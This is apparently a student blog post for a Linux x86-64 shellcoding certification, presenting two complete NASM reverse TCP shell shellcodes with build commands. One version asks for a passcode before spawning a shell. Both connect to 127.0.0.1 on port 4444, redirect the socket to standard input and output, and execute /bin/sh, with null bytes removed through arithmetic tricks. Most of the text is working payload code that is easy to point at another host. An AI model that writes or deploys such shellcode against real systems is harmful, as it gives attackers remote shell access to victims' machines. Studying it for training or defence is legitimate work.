This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: PA-6470
Assignment #2
The aim of this assignment is to create a shell reverse TCP shellcode with a passcode and to remove all 0x00 from opcodes.
First, we need to listen to incoming connections on port 4444 :
Then we launch the shellcode :
The reverse TCP shellcode open a connection on port 4444 and then we access to the /bin/sh shell !
Here are the opcodes of this shellcode, as you can see there are no 0x00 :
The passcode code part is exactly the same as the one described in Assignment#1
One thing about removing 0x00. At some points the original code contains some 0x00 like here :
mov dword [rsp-4], 0x0100007f
So I’ve chosen to use a substraction in order to have the same result :
;mov dword [rsp-4], 0x0100007f mov dword [rsp -4], 0x9A999A18 sub dword [rsp -4], 0x99999999
Full source code is available here and on my Github account.
Source code of Reverse-Shell-Passcode-Safe.nasm
; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification : ; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html ; ; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; ; nasm -f elf64 Reverse-Shell-Passcode-Safe.nasm -o Reverse-Shell-Passcode-Safe.o ; ld Reverse-Shell-Passcode-Safe.o -o Reverse-Shell-Passcode-Safe global _start section .bss buffer resb 20 ; buffer of 20 bytes buffer_size equ $ - buffer ; buffer size section .data passcode: db 'pwd',0x0a passcode_required: db '#passcode : ' passcode_required_size equ $ - passcode_required section .text _start: ; sock = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 xor rax, rax add al, 41 xor rdi, rdi inc dil inc dil xor rsi, rsi inc sil xor rdx, rdx syscall ; copy socket descriptor to rdi for future use mov rdi, rax ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = inet_addr("127.0.0.1") ; bzero(&server.sin_zero, 8) xor rax, rax push rax ;mov dword [rsp-4], 0x0100007f mov dword [rsp -4], 0x9A999A18 sub dword [rsp -4], 0x99999999 mov word [rsp-6], 0x5c11 ;mov word [rsp-8], 0x2 mov word [rsp-8], 0x1FF sub word [rsp-8], 0x1FD sub rsp, 8 ; connect(sock, (struct sockaddr *)&server, sockaddr_len) xor rax, rax add al, 42 mov rsi, rsp xor rdx, rdx add dl, 16 syscall ; duplicate sockets ; dup2 (new, old) xor rax, rax add al, 33 xor rsi, rsi syscall xor rax, rax add al, 33 xor rsi, rsi inc sil syscall xor rax, rax add al, 33 xor rsi, rsi inc sil inc sil syscall ; passcode is required xor rdx, rdx mov dl, passcode_required_size ;mov rsi, passcode_required push 0x203a2065 ; #passcode : mov rbx, 0x646f637373617023 ; #passcode : push rbx mov rsi, rsp xor rdi, rdi mov dil, 1 ; stdout xor rax, rax mov al, 1 ; sys_write syscall ; user input ;mov rdx, buffer_size xor rdx, rdx mov dl, buffer_size ;mov rsi, buffer mov rbx, 0x0101010101010101 push rbx mov rsi, rsp xor rdi, rdi ; stdin xor rax, rax syscall ; sys_read ; check passcode ;lea rsi, [buffer] ; user passcode ;mov rsi, buffer ;lea rdi, [passcode] ; true passcode ;mov rdi, passcode push 0x0a647770 ; pwd0x0a mov rdi, rsp xor rcx, rcx dec rcx cmp_pwd: inc rcx mov al, byte [rsi + rcx] mov dl, byte [rdi + rcx] cmp al, dl ; compare each character jne exit ; jump out of loop if they are not the same cmp dl, 0x0a ; end of string ? jne cmp_pwd ; not finished, loop again ; execve ; First NULL push xor rax, rax push rax ; push /bin//sh in reverse mov rbx, 0x68732f2f6e69622f push rbx ; store /bin//sh address in RDI mov rdi, rsp ; Second NULL push push rax ; set RDX mov rdx, rsp ; Push address of /bin//sh push rdi ; set RSI mov rsi, rsp ; Call the Execve syscall add rax, 59 syscall exit: xor rdi, rdi add dil, 1 xor rax, rax add al, 60 syscall
Source code of Reverse-Shell-Safe.nasm :
; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification : ; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html ; ; Author : SLAE64-PA-6470 (kahlon81) ; Date : 2018/02/21 ; ; nasm -f elf64 Reverse-Shell-Safe.nasm -o Reverse-Shell-Safe.o ; ld Reverse-Shell-Safe.o -o Reverse-Shell-Safe global _start _start: ; sock = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 xor rax, rax add al, 41 xor rdi, rdi inc dil inc dil xor rsi, rsi inc sil xor rdx, rdx syscall ; copy socket descriptor to rdi for future use mov rdi, rax ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = inet_addr("127.0.0.1") ; bzero(&server.sin_zero, 8) xor rax, rax push rax ;mov dword [rsp-4], 0x0100007f mov dword [rsp -4], 0x9A999A18 sub dword [rsp -4], 0x99999999 mov word [rsp-6], 0x5c11 ;mov word [rsp-8], 0x2 mov word [rsp-8], 0x1FF sub word [rsp-8], 0x1FD sub rsp, 8 ; connect(sock, (struct sockaddr *)&server, sockaddr_len) xor rax, rax add al, 42 mov rsi, rsp xor rdx, rdx add dl, 16 syscall ; duplicate sockets ; dup2 (new, old) xor rax, rax add al, 33 xor rsi, rsi syscall xor rax, rax add al, 33 xor rsi, rsi inc sil syscall xor rax, rax add al, 33 xor rsi, rsi inc sil inc sil syscall ; execve ; First NULL push xor rax, rax push rax ; push /bin//sh in reverse mov rbx, 0x68732f2f6e69622f push rbx ; store /bin//sh address in RDI mov rdi, rsp ; Second NULL push push rax ; set RDX mov rdx, rsp ; Push address of /bin//sh push rdi ; set RSI mov rsi, rsp ; Call the Execve syscall add rax, 59 syscall